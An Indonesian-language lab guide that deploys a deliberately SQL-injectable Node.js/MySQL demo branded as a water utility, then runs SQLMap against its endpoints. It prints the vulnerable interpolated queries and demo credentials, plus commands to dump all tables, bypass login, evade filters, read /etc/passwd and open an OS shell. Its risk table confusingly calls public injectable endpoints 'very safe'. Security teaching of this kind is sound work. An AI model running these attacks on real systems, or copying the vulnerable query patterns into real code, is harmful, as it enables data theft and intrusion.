# Deploy Web & SQL Injection dengan SQLMap

> ***PDAM Tirta Asasta Depok (Perseroda)*** *— Aplikasi demo Node.js + MySQL yang sengaja dibuat rentan SQL Injection untuk materi edukasi keamanan web.*

---

## 📦 Stack

| Komponen | Teknologi |
|---|---|
| Backend | Node.js 22 + Express 4 |
| Database | MySQL 8.0 |
| View Engine | EJS |
| Container | Docker + Docker Compose |

---

# Bagian 1: Deploy Web

## 1.1 Prasyarat

| Tools | Minimal Versi | Cek |
|---|---|---|
| Node.js | 18.x | `node -v` |
| npm | 9.x | `npm -v` |
| MySQL | 8.0 | `mysql --version` |
| Docker (opsional) | 24.x | `docker -v` |
| Docker Compose (opsional) | 2.x | `docker compose version` |

---

## 1.2 Deploy dengan Docker Compose (Recommended 🏆)

### Langkah

```
# 1. Clone / masuk ke direktori proyek
cd latihan-sqli

# 2. Build & jalankan container
#    - db: MySQL 8.0 dengan init.sql otomatis
#    - app: Node.js app, menunggu db sehat

docker compose up -d
```

### Yang terjadi

| Container | Port | Deskripsi |
|---|---|---|
| `pdam-mysql` | 3306 | MySQL dengan database `pdam_tirta_asasta`, tabel & seed data langsung terisi |
| `pdam-app` | 3000 | Express app, auto-connect ke MySQL via `DB_HOST=db` |

#### Verifikasi

```
# Cek status
docker compose ps

# Lihat log
docker compose logs -f app

# Cek via curl
curl http://localhost:3000
# → Harusnya landing page index
```

#### Menghentikan

```
docker compose down          # Hentikan container
docker compose down -v       # Hentikan + hapus volume (data DB hilang)
```

---

## 1.3 Deploy Manual (Tanpa Docker)

### 1.3.1 Setup Database

```
# Login ke MySQL
mysql -u root -p

# Jalankan init.sql
mysql -u root -p < db/init.sql
```

Ini membuat:

- Database `pdam_tirta_asasta`
- Tabel: `users`, `customers`, `bills`
- Seed data: 3 user, 10 pelanggan, 18 tagihan

### 1.3.2 Install Dependencies

```
npm install
```

### 1.3.3 Konfigurasi Environment

File `.env`:

```
DB_HOST=localhost
DB_PORT=3306
DB_USER=root
DB_PASSWORD=root
DB_NAME=pdam_tirta_asasta
PORT=3000
SESSION_SECRET=supersecretkey123
```

> ***Sesuaikan*** *`DB_USER`* *dan* *`DB_PASSWORD`* *dengan MySQL lokal kamu.*

### 1.3.4 Jalankan App

```
node app.js
# → http://localhost:3000
```

### 1.3.5 Verifikasi

```
# Landing page
curl http://localhost:3000

# Login — dapat token API
curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin123"}' | jq .
```

---

## 1.4 Akun Demo

| Username | Password | Role |
|---|---|---|
| `admin` | `admin123` | admin |
| `operator1` | `op12345` | operator |
| `manager` | `manager123` | manager |

---

## 1.5 Struktur Endpoint

| Method | Endpoint | Auth | Keterangan | Vulnerable? |
|---|---|---|---|---|
| `GET` | `/` | ❌ | Landing page — cek tagihan via `?no_sambung=` | ✅ |
| `POST` | `/login` | ❌ | Login view | ✅ |
| `GET` | `/dashboard` | ✅ (session) | Dashboard statistik | ❌ |

| | | | | |
|---|---|---|---|---|
| GET | /customers?search= | ✅ (session) | Daftar & cari pelanggan | ✅ |
| GET | /customer/:id | ✅ (session) | Detail pelanggan | ✅ |
| POST | /customer/:id/edit | ✅ (session) | Update pelanggan | ✅ |
| GET | /bill/:id | ✅ (session) | Detail tagihan | ✅ |
| POST | /bill/:id/pay | ✅ (session) | Bayar tagihan | ✅ |
| GET | /export?table= | ✅ (session) | Export CSV | ✅ |
| POST | /meter | ✅ (session) | Input meter bulanan | ✅ |
| POST | /api/login | ❌ | API Login | ✅ |
| GET | /api/customers?search= | ✅ (token) | API Daftar pelanggan | ✅ |
| GET | /api/customers/:id | ✅ (token) | API Detail pelanggan | ✅ |
| PUT | /api/customers/:id | ✅ (token) | API Update pelanggan | ✅ |
| GET | /api/bills/:id | ✅ (token) | API Detail tagihan | ✅ |
| GET | /api/export?table= | ✅ (token) | API Export | ✅ |
| PUT | /api/bills/:id/pay | ✅ (token) | API Bayar tagihan | ✅ |
| GET | /api/cek-tagihan?no_sambung= | ❌ | API Cek tagihan publik | ✅ |
| POST | /api/meter | ✅ (token) | API Input meter | ✅ |

> 🔑 ***Auth session***: *login via* `POST /login`, *session auto di-set.* 🔑 ***Auth token***: *login via* `POST /api/login` *→ dapat token → kirim* `Authorization: Bearer <token>`.

---

# Bagian 2: SQL Injection dengan SQLMap

## 2.1 Apa itu SQLMap?

SQLMap adalah **tool otomatis pentest SQL Injection** open-source. Ia bisa:

- Mendeteksi ada/tidaknya SQLi
- Mengekstrak database, tabel, kolom
- Mendump data
- Membaca file sistem (jika DB punya file privilege)

- Eksekusi perintah OS (jika kondisi memungkinkan)

### Instalasi

```
# Arch Linux
sudo pacman -S sqlmap

# Ubuntu/Debian
sudo apt install sqlmap

# macOS
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git

# Via pip (semua OS)
pip install sqlmap

# Cek
sqlmap --version
```

---

## 2.2 Parameter Dasar SQLMap

| Parameter | Fungsi |
|---|---|
| `-u <URL>` | Target URL |
| `--data <data>` | POST body |
| `-p <param>` | Parameter yang diuji (default: semua) |
| `--method <method>` | HTTP method (GET/POST/PUT) |
| `--cookie <cookie>` | Cookie/session |
| `-H <header>` | Header tambahan (`-H "Authorization: Bearer tok_1"`) |
| `--headers <h1: v1\nh2: v2>` | Multi-header ( |
| -separated) | |
| `--level <1-5>` | Intensitas pengujian (default 1) |
| `--risk <1-3>` | Risk level (default 1) |
| `--batch` | Auto-yes (non-interaktif) |
| `--flush-session` | Hapus session cache |
| `--threads <n>` | Thread (default 1, max 10) |
| `--time-sec <n>` | Timeout untuk time-based (default 5) |

### Enumeration

| Parameter | Fungsi |
|---|---|
| `--dbs` | Daftar semua database |
| `-D <db>` | Pilih database target |
| `--tables` | Daftar tabel di database |
| `-T <table>` | Pilih tabel target |
| `--columns` | Daftar kolom di tabel |
| `-C <col1,col2>` | Pilih kolom target |
| `--dump` | Dump data |
| `--dump-all` | Dump semua data dari semua tabel |

---

## 2.3 Teknik Injeksi SQLMap

SQLMap menggunakan beberapa teknik injeksi (tipe `--technique`):

| Teknik | Kode | Cara Kerja |
|---|---|---|
| Boolean-based blind | `B` | Bandingkan response (TRUE/FALSE) |
| Error-based | `E` | Trigger error database untuk extract info |
| UNION query | `U` | Gabungkan hasil query attacker via UNION SELECT |
| Stacked queries | `S` | Eksekusi query tambahan setelah query utama |
| Time-based blind | `T` | Delay response via SLEEP/WAITFOR |
| Inline queries | `Q` | Inject subquery langsung di param |

Default: `BEUSTQ` (semua teknik). Filter: `--technique=BEU`.

---

## 2.4 Praktik SQLMap — Semua Endpoint

> ***PENTING**: Setiap endpoint punya konteks injeksi berbeda. SQLMap otomatis mendeteksi tipe injeksi dan memilih teknik optimal.*

---

### 2.4.1 Cek Tagihan Publik (Tanpa Auth)

**Endpoint**: `GET /api/cek-tagihan?no_sambung=`

**Query rentan**:

```
SELECT b.*, c.nama, c.alamat, c.kecamatan
FROM bills b JOIN customers c ON b.customer_id = c.id
WHERE c.no_sambung = '${no_sambung}'
```

**SQLMap**:

```
# Deteksi SQLi (otomatis)
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' --batch

# Enumeration — daftar database
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' --batch --dbs

# → hasil: information_schema, mysql, performance_schema, pdam_tirta_asasta, sys

# Dump tabel users
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' --batch \
  -D pdam_tirta_asasta -T users --dump

# Dump semua data
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' --batch \
  -D pdam_tirta_asasta --dump-all
```

**Hasil**:

```
Database: pdam_tirta_asasta
Table: users
+----+----------+----------+-----------+----------------+
| id | username | password | role      | nama_lengkap   |
+----+----------+----------+-----------+----------------+
| 1  | admin    | admin123 | admin     | Admin Utama    |
| 2  | operator1| op12345  | operator  | Bambang S.     |
| 3  | manager  | manager123| manager  | Siti Rahmawati |
+----+----------+----------+-----------+----------------+
```

---

### 2.4.2 Landing Page (View, Tanpa Auth)

**Endpoint**: `GET /?no_sambung=`

Sama seperti Cek Tagihan publik, bedanya response HTML.

```
sqlmap -u 'http://localhost:3000/?no_sambung=TA2023001' --batch --dbs
```

---

### 2.4.3 Login Bypass (POST)

**Endpoint**: `POST /login` (view) dan `POST /api/login` (JSON)

**Query rentan**:

```
SELECT * FROM users WHERE username = '${username}' AND password = '${password}'
```

**SQLMap**:

```
# View login (form-urlencoded)
sqlmap -u 'http://localhost:3000/login' --data 'username=admin&password=admin123' --
```

```
batch

# API login (JSON)
sqlmap -u 'http://localhost:3000/api/login' \
  --data '{"username":"admin","password":"admin123"}' \
  --headers 'Content-Type: application/json' --batch
```

SQLMap mendeteksi bahwa parameter `username` bisa di-inject. Hasilnya ia bisa login sebagai user manapun tanpa password.

---

### 2.4.4 Search Customer (GET with Auth)

**Endpoint**: `GET /api/customers?search=`

**Query rentan**:

```
SELECT * FROM customers WHERE nama LIKE '%${search}%' OR no_sambung LIKE
'%${search}%'
```

**SQLMap**:

```
# Step 1 — dapat token dulu
TOKEN=$(curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin123"}' | jq -r '.token')

# Step 2 — SQLi dengan token
sqlmap -u 'http://localhost:3000/api/customers?search=ahmad' \
  -H "Authorization: Bearer $TOKEN" \
  --batch -p search --dbs
```

---

### 2.4.5 Customer Detail (GET param di path)

**Endpoint**: `GET /api/customers/:id`

**Query rentan**:

```
SELECT * FROM customers WHERE id = ${id}
```

**SQLMap**: `*` menandai posisi injeksi.

```
sqlmap -u 'http://localhost:3000/api/customers/1*' \
  -H "Authorization: Bearer $TOKEN" \
  --batch --dbs
```

---

### 2.4.6 Bill Detail (GET param di path)

**Endpoint**: `GET /api/bills/:id`

```
SELECT b.*, c.nama, c.no_sambung FROM bills b
JOIN customers c ON b.customer_id = c.id WHERE b.id = ${id}
```

**SQLMap**:

```
sqlmap -u 'http://localhost:3000/api/bills/1*' \
  -H "Authorization: Bearer $TOKEN" \
  --batch --dbs
```

---

### 2.4.7 Pay Bill (PUT param di path)

**Endpoint**: `PUT /api/bills/:id/pay`

```
UPDATE bills SET status_bayar='lunas', tgl_bayar=CURDATE() WHERE id = ${id}
```

**SQLMap** (butuh `--method`):

```
sqlmap -u 'http://localhost:3000/api/bills/1/pay*' \
  --method PUT \
  -H "Authorization: Bearer $TOKEN" \
  --batch
```

---

### 2.4.8 Export Table (param query string)

**Endpoint**: `GET /api/export?table=`

```
SELECT * FROM ${table}
```

**SQLMap**:

```
sqlmap -u 'http://localhost:3000/api/export?table=customers' \
  -H "Authorization: Bearer $TOKEN" \
  --batch -p table --dbs
```

---

### 2.4.9 Input Meter Bulanan (POST JSON dengan Auth)

**Endpoint**: `POST /api/meter`

Body: `{"customer_id":1, "bulan":10, "tahun":2026, "pemakaian_m3":30}`

**Query rentan**:

```
INSERT INTO bills (...) SELECT ${customer_id}, ${bulan}, ${tahun},
${pemakaian_m3}, ${pemakaian_m3} * tarif_per_m3, 'belum' FROM customers WHERE id =
${customer_id}
```

Semua parameter numerik di-injeksi langsung — termasuk `pemakaian_m3` bisa subquery.

**SQLMap**:

```
sqlmap -u 'http://localhost:3000/api/meter' \
  --method POST \
  --data '{"customer_id":1,"bulan":10,"tahun":2026,"pemakaian_m3":30}' \
  --headers 'Content-Type: application/json' \
  -H "Authorization: Bearer $TOKEN" \
  --batch -p pemakaian_m3 --dump
```

---

## 2.5 Teknik Lanjutan

### 2.5.1 Bypass WAF / Filter

```
# Tamper scripts — lewati filter umum
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --tamper=space2comment --batch

# Gunakan hex encoding untuk string
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --hex --batch
```

### 2.5.2 Read File Sistem (MySQL `LOAD_FILE`)

```
# Membaca /etc/passwd (butuh FILE privilege)
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --file-read='/etc/passwd' --batch
```

### 2.5.3 OS Shell (jika DB punya `SELECT INTO OUTFILE`)

```
# Dapatkan OS shell
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --os-shell --batch
```

### 2.5.4 Non-interactive Batch dengan Output File

```
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --batch -D pdam_tirta_asasta --dump-all \
  --output-dir=./sqlmap-results
```

---

## 2.6 Ringkasan Perintah Cepat

### Satu baris — deteksi + dump semuanya (endpoint publik)

```
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --batch --dump-all --threads=5 -o
```

**Satu baris — endpoint dengan auth**

```
TOKEN=$(curl -s -X POST http://localhost:3000/api/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin123"}' | jq -r '.token')

sqlmap -u 'http://localhost:3000/api/customers?search=ahmad' \
  -H "Authorization: Bearer $TOKEN" \
  -p search --batch -D pdam_tirta_asasta -T users --dump
```

---

## 2.7 Matrix Endpoint vs Teknik SQLMap

| Endpoint | Auth | Method | Parameter Inject | Teknik Terbaik | Risiko |
|---|---|---|---|---|---|
| `/api/cek-tagihan` | ❌ | GET | `no_sambung` (string) | UNION, Time-based | Sangat Aman — publik, response JSON |
| `/` (landing) | ❌ | GET | `no_sambung` (string) | UNION, Time-based | Aman — publik |
| `/api/login` | ❌ | POST | `username`, `password` | Boolean, Error-based | Aman — publik |
| `/login` | ❌ | POST | `username`, `password` | Boolean, Error-based | Aman — publik |
| `/api/customers` | 🔑 Token | GET | `search` (string) | UNION, Time-based | Aman — token perlu di-set |
| `/api/customers/:id` | 🔑 Token | GET | `id` (path int) | UNION, Time-based | Aman — path param |
| `/api/bills/:id` | 🔑 Token | GET | `id` (path int) | Time-based (UNION risk error) | Aman — path param |
| `/api/bills/:id/pay` | 🔑 Token | PUT | `id` (path int) | Time-based (UPDATE) | **Hati-hati** — memodifikasi data |
| `/api/export` | 🔑 Token | GET | `table` (string) | UNION, Time-based | Aman |
| `/api/meter` | 🔑 Token | POST | `customer_id`, `bulan`, `tahun`, `pemakaian_m3` | Boolean, Time-based | **Hati-hati** — INSERT data baru |

| | | | | | |
|---|---|---|---|---|---|
| `/customer/:id/edit` | 🔑 Session | POST | `nama`, `alamat`, `kecamatan`, etc | Boolean, Time-based | **Hati-hati** — UPDATE data |
| `/bill/:id/pay` | 🔑 Session | POST | `id` (path int) | Time-based | **Hati-hati** — UPDATE data |
| `/meter` | 🔑 Session | POST | `customer_id`, `bulan`, `tahun`, `pemakaian_m3` | Boolean, Time-based | **Hati-hati** — INSERT data baru |

> ⚠️ ***Risiko**: Endpoint `UPDATE` / `INSERT` akan memodifikasi data asli saat SQLMap menguji. Untuk latihan, backup DB dulu atau gunakan endpoint read-only ( `GET` ).*

---

## 2.8 Troubleshooting SQLMap

### Masalah: "No parameter found"

```
# Solusi: force test parameter dengan *
sqlmap -u 'http://localhost:3000/api/customers?search=ahmad*' \
  -H "Authorization: Bearer $TOKEN" --batch
```

### Masalah: Content-Type JSON

```
# SQLMap perlu dikasih tahu header JSON
sqlmap -u 'http://localhost:3000/api/login' \
  --data '{"username":"admin","password":"admin123"}' \
  --headers 'Content-Type: application/json' --batch
```

### Masalah: Slow time-based

```
# Turunkan time-sec
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --time-sec 2 --batch

# Atau skip time-based
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --technique=BEU --batch
```

### Masalah: Session cache mengganggu

```
# Flush session
sqlmap -u 'http://localhost:3000/api/cek-tagihan?no_sambung=TA2023001' \
  --flush-session --batch
```

---

## 2.9 Best Practices

1. **Gunakan endpoint publik** ( `/api/cek-tagihan` ) untuk latihan bebas repot auth + risiko modifikasi data
2. **Backup DB** sebelum eksperimen dengan `UPDATE` / `INSERT` endpoint
3. **Gunakan** `--batch` agar tidak perlu interaksi manual
4. **Mulai dengan** `--technique=BEU` (tanpa time-based) untuk deteksi cepat
5. **Gunakan** `--threads=5` untuk mempercepat ekstraksi data besar
6. **Simpan hasil** dengan `--output-dir=./sqlmap-output`

---

> *© 2026 — Materi edukasi keamanan web. Hanya untuk lingkungan lab/pembelajaran. Jangan gunakan untuk tujuan ilegal.*